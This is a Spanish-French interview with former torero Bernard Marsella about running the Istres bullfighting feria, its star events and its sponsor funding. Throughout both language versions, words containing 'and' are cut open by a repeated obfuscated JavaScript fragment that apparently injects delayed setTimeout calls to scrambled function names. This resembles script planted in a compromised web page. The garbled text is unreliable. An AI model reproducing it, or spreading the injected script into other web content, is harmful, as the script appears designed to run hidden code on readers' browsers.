TODO EL MUNDO DICE SI A ISTRESPOUR ISTRES, TOUT LE MONDE DIT OUI

El que fuera torero, Bernard Marsella, es el organizador de la feria de Istres en el sureste francés. Una plaza salida practicamente de la nada y que todos los aficionados conocen, al menos de oídas. ¿Como explica Bernard el exito y la notoriedad de esta plaza un poco alejada del epicentro taurino ?

marsellaok2

-Se ha ido haciendo poco a poco. Hay que destacar, antes que a nadie, al alcalde que me dio su confianza y la gestión de esa plaza ,para romper un poco con lo habitual que se daba aquí. No existía un proyecto de verdad y era complicado que funcionase aquello. Desde que  en el 2007 empecé con esta aventura, uno no acaba de aprender y poco a poco hemos ido cogiendo vuelo. El 2009 fue un año clave por la vuelta de Sebastián Castella en figura a Istres, una plaza que él inauguró en el 2001. Siendo ya figura eso le dio importancia a la plaza. También lidiamos ese mismo año una corrida de Miura. La feria adquirió otra nivel y lo difícil a partir de entonces fue mantenerse allí. Es mi décima temporada en directo. Pienso que lo de Joselito fue lo que nos consagró a nivel mundial. Pero no es fácil, hay que buscar siempre ideas nuevas, poner una figura por ponerla no es suficiente, hay que buscar historias que le lleguen al aficionado.

-El hecho de haber sido torero, ¿te ha ayudado a la hora de contratar a las figuras del toreo?

-Poco a poco hemos ido cogiendo credibilidad, seriedad, todo el mundo sabe que en Istres se hacen las cosas bien, con mucha pasión. Pienso que mi experiencia cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando quise ser torero hoy me sirve porque he guardado, o por lo menos he captado, los valores del toreo y una cierta sensibilidad que me ayuda en la concepción de los carteles. El haber sido torero ayuda también por esas relaciones de amistad que tengo con algunos toreros.

-Cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando elaboras la feria, ¿piensas ante todo en el pelotazo, en enganchar a la gente con algo excepcional?

-Es duro mantener un listón muy alto. No hay que olvidar que en una plaza de tercera como Istres, con un pequeño aforo,  se van a dar cuatro corridas de toros y una novillada con caballos. Hay que resaltarlo porque es un esfuerzo impresionante por parte del ayuntamiento y de la ciudad.  Creo que hoy no hay una plaza en el mundo de tercera con la programación de Istres. Podéis buscar donde sea y no la vais a encontrar porque no existe, ni en España, ni en Francia, ni en Portugal, ni en América.

Lo de Joselito nos consagró pero obviamente no se puede contratar cada año a Joselito, hay que buscar ideas nuevas, historias nuevas, lo que no se puede ya es contratar a las figuras por contratarlas porque es insuficiente, hay que buscar una historia que le toque la sensibilidad al aficionado. Istres no puede ser la mala copia de Nîmes o de Arles. Istres tiene su propia identidad, su personalidad y eso es bonito.

-Este año el pelotazo es Enrique Ponce delante seis toros. ¿Cómo lo lograste? Creo que hace diecisiete temporadas que no se encerraba con seis toros.

-Nos hemos encontrado con el maestro temprano, es un proyecto que hemos llevado juntos, va a ser una corrida distinta, un homenaje de Enrique a la afición francesa que lo ha apoyado durante tantos años. Para él Istres era el escenario ideal para realizar esa gesta. Va a ser un pelotazo importante, en un gran momento de su carrera como lo hemos podido comprobar en Madrid, y que él no necesita. Los aficionados han de comprender que él no viene a Istres a cumplir un contrato y si los toros embisten va a ser una tarde muy emocionante.

-Hay una cosa que intriga: hablabas antes del pequeño aforo de Istres, de 3000 localidades, ¿cómo se consigue rentabilizar una feria así, con esas figuras y esos toros?

-Este ayuntamiento rompió la rutina de la organización de los toros en Francia, dándome a mí la organización de esta plaza. Esto empieza por ahí. Hay un proyecto taurino de verdad. Y después, con la labor que hemos hecho, 300 empresas apoyan económicamente la feria, porque el ayuntamiento no podría pagar una feria tan importante, con esos carteles. Se llega a un equilibrio y la gran satisfacción hoy es que económicamente para la ciudad de Istres es muy importante. No hay otro acontecimiento en este municipio con tanta proyección: ni el fútbol, ni los conciertos. La Feria, la Tauromaquia es lo mas destacado, lo que están esperandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando todos, cada año. Termina una feria y empieza otra, volvemos a contactar y a trabajar con las empresas privadas que apoyan económicamente la feria. Y no es fácil porque también se nota la crisis  en Francia pero nuestra credibilidad está ahí y la gente tiene confianza, apuesta por nosotros. Todo el mundo dice si a Istres.

marsellaok3

Lui qui fut torero, Bernard Marsella, est aujourd’hui l’organisateur de la feria d’Istres dans le sud-est français. Des arènes sorties de l’anonymat et que pratiquement tous les aficionados connaissent ou tout du moins ils en ont entendu parler. Comment Bernard explique t’il le succès et la notoriété de ces arènes éloignées de l’épicentre taurin ?

marsellaok2

- On l’a fait petit à petit. Il faut mettre en avant, avant tout, l’apport du maire qui me fit confiance et me permit d’organiser la feria  à l’encontre de ce qui se faisait d’habitude. Il n’y avait auparavant pas de véritable projet et c’était compliqué que ça marche. Depuis que j’ai commencé cette aventure en 2007, je n’ai cessé d’apprendre et peu à peu on a pris notre envol. 2009 a été une année clé, avec le retour de Sébastien Castella ici en tant que figura de la tauromachie. Il avait inauguré ces arènes en 2001 et son retour a accéléré la notoriété de la feria d’Istres. Cette même année il y avait aussi à l’affiche une corrida de Miura. La feria a monté d’échelon mais à partir de là le plus difficile a été de se maintenir. C’est la dixième année dont je suis l’organisateur. Je pense que l’événement qui nous a consacré au niveau mondial ce fut la corrida avec Joselito. Mais reproduire un tel événement n’est pas facile, il faut chercher de nouvelles idées, des histoires qui parlent, qui touchent la fibre sensible des aficionados. Mettre une figura pour la mettre ne suffit pas.

-Le fait d’avoir été torero t’aide t’il pour engager les figuras ?

-Avec le temps nous avons gagné en crédibilité, sérieux, tout le monde sait qu’à Istres on fait bien les choses, avec beaucoup de passion. Je pense que mon expérience quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and j'étais torero me sert parce que j’ai gardé, ou tout du moins j’ai saisi, les valeurs du toreo et une certaine sensibilité qui m’aide dans la conception des affiches. Le fait d’avoir été torero m’aide aussi car j’ai de bonnes relations avec certains toreros.

-Quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and tu élabores la feria, penses-tu avant tout à trouver l’événement qui fasse tilt, celui qui va marquer les esprits des aficionados ?

-C’est dur de maintenir le même niveau. Il ne faut pas oublier qu’Istres ce sont des arènes de troisième catégorie, avec pas énormément de places, qui programment quatre corridas et une novillada piquée. Il faut le souligner car c’est un effort impressionnant que celui de la mairie et de la ville. Je crois qu’il n’y a pas d’autres arènes de troisième catégorie dans le monde avec une programmation comme celle d’Istres. Vous pouvez chercher mais vous ne trouverez pas, car ça n’existe pas. Ni en Espagne, ni en France, ni au Portugal, ni en Amérique.

Joselito nous a consacré mais évidemment on ne peut pas l’engager tous les ans, il faut trouver d’autres idées, des histoires différentes, ce qu’on ne peut plus faire c’est engager des figuras simplement parce qu’il s’agit de figuras, il faut trouver quelque chose qui interpelle l’aficionado.

Istres ne peut pas être la mauvaise copie de Nîmes ou d’Arles. Istres a son identité, sa personnalité et c’est ce qui est beau.

-Cette année votre coup d’éclat c’est le solo d’Enrique Ponce devant six toros. Cela fera 17 ans que cela ne s’est plus produit.

-Nous avons rencontré tôt le maestro, c’est un projet que nous avons fait ensemble, cela sera une corrida différente, un hommage d’Enrique à l’aficion française qui l’a soutenu pendant toutes ces années. Pour lui Istres était la scène idéale pour réaliser ce geste. Ce sera très important, il est dans un grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and moment dans sa carrière et il n’en a pas besoin. Les aficionados doivent comprendre qu’il ne vient pas à Istres pour honorer un contrat de plus, si les toros le permettent ce sera très émouvant.

-Il y a quelque chose qui intrigue : tu évoquais auparavant la capacité des arènes d’Istres, à peu près 3000 places, comment fait-on pour rentabiliser une feria avec de telles figuras et des élevages prestigieux ?

-Cette mairie a cassé la routine concernant l’organisation des corridas en France, en me proposant l’organisation de ces arènes. Ça commence par là. Il y a un vrai projet. Et après, avec le travail qui nous avons fait, nous avons aujourd’hui 300 entreprises qui soutiennent financièrement la feria, car la mairie ne pourrait pas payer une feria si importante, avec ces affiches. On arrive à un équilibre et la grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande satisfaction aujourd’hui c’est qu’économiquement c’est très important pour la ville d’Istres. Il n’y pas ici d’autre événement avec autant de rayonnement : ni le football, ni les concerts. La Feria, la Tauromachie, sont l’événement majeur dans l’année, celui que tous attendent. Quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and une feria est finie on enchaîne avec la suivante et on recontacte et on travaille avec les entreprises qui  la soutiennent. Et ce n’est pas facile car la crise est là mais notre crédibilité est aussi là et les gens nous font confiance, ils parient pour nous. Pour Istres, tout le monde dit oui.

 

marsellaok3

Les commentaires sont fermés.